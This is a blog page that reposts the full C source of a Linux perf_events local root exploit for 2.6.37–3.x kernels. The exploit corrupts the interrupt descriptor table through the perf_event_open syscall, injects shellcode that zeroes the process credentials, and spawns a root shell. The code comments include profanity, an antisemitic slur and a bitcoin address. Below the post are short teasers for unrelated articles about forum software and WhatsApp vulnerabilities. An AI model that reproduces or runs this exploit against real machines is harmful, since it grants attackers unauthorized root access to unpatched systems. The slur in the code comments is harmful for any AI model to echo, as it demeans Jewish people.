Skip to main content

Linux PERF_EVENTS Local Root Exploit

 Linux PERF_EVENTS Local Root Linux local root exploit that requires that PERF_EVENTS be compiled into the kernel. This has been fixed in 3.8.10. This bug apparently got backported from 2.6.37 into CentOS5 2.6.32 kernels.

Code:
/** linux 2.6.37-3.x.x x86_64, ~100 LOC* gcc-4.6 -O2 semtex.c && ./a.out* 2010 sd@fucksheep.org, salut!** update may 2013:* seems like centos 2.6.32 backported the perf bug, lol.* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.*/
#define _GNU_SOURCE 1#include <stdint.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/mman.h>#include <syscall.h>#include <stdint.h>#include <assert.h>
#define BASE  0x380000000#define SIZE  0x010000000#define KSIZE  0x2000000#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
void fuck() {  int i,j,k;  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));  uint64_t kbase = ((uint64_t)current)>>36;  uint32_t *fixptr = (void*) AB(1);  *fixptr = -1;
  for (i=0; i<4000; i+=4) {    uint64_t *p = (void *)&current[i];    uint32_t *t = (void*) p[0];    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;    for (j=0; j<20; j++) { for (k = 0; k < 8; k++)      if (((uint32_t*)uids)[k] != t[j+k]) goto next;      for (i = 0; i < 8; i++) t[j+i] = 0;      for (i = 0; i < 10; i++) t[j+9+i] = -1;      return;next:;    }  }}
void sheep(uint32_t off) {  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };  int fd = syscall(298, buf, 0, -1, -1, 0);  assert(!close(fd));}

int  main() {  uint64_t  u,g,needle, kbase, *p; uint8_t *code;  uint32_t *map, j = 5;  int i;  struct {    uint16_t limit;    uint64_t addr;  } __attribute__((packed)) idt;  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);  memset(map, 0, SIZE);  sheep(-1); sheep(-2);  for (i = 0; i < SIZE/4; i++) if (map[i]) {    assert(map[i+1]);    break;  }  assert(i<SIZE/4);  asm ("sidt %0" : "=m" (idt));  kbase = idt.addr & 0xff000000;  u = getuid(); g = getgid();  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",    printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);  setresuid(u,u,u); setresgid(g,g,g);  while (j--) {    needle = AB(j+1);    assert(p = memmem(code, 1024, &needle, 8));    if (!p) continue;    *p = j?((g<<32)|u):(idt.addr + 0x48);  }  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);  asm("int $0x4");  assert(!setuid(0));  return execl("/bin/bash", "-sh", NULL);}

Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h...

How to Hack WhatsApp using just a GIF

A picture is worth a thousand words, but a GIF is worth a thousand pictures. Today, the short looping clips, GIFs are everywhere—on your social media, on your message boards, on your chats, helping users perfectly express their emotions, making people laugh, and reliving a highlight. But what if an innocent-looking GIF greeting with Good morning, Happy Birthday, or Merry Christmas message hacks your smartphone? Well, not a theoretical idea anymore. WhatsApp has recently patched a critical security vulnerability in its app for Android, which remained unpatched for at least 3 months after being discovered, and if exploited, could have allowed remote hackers to compromise Android devices and potentially steal files and chat messages. WhatsApp Remote Code Execution Vulnerability The vulnerability, tracked as  CVE-2019-11932 , is a double-free memory corruption bug that doesn't actually reside in the WhatsApp code itself, but in an open-source GIF image parsing library that What...

WhatsApp Bug Allows Malicious Code-Injection, One-Click RCE

A high-severity vulnerability could allow cybercriminals to push malware or remotely execute code, using seemingly innocuous messages. Security researchers have identified a JavaScript vulnerability in the WhatsApp desktop platform that could allow cybercriminals to spread malware, phishing or ransomware campaigns through notification messages that appear completely normal to unsuspecting users. And, further investigation shows this could be parlayed into remote code-execution. The desktop platform has more than 1.5 billion monthly active users. The high-severity bug (rated 8.2 on the CVSS severity scale) could impact those that also use WhatsApp for iPhone, if they don’t update their desktop and mobile apps, and if they don’t use newer versions of the Chrome browser. “A vulnerability [ CVE-2019-18426 ] in WhatsApp Desktop versions prior to 0.3.9309 when paired with WhatsApp for iPhone versions prior to 2.20.10 allows cross-site scripting (XSS) and local file reading,” acc...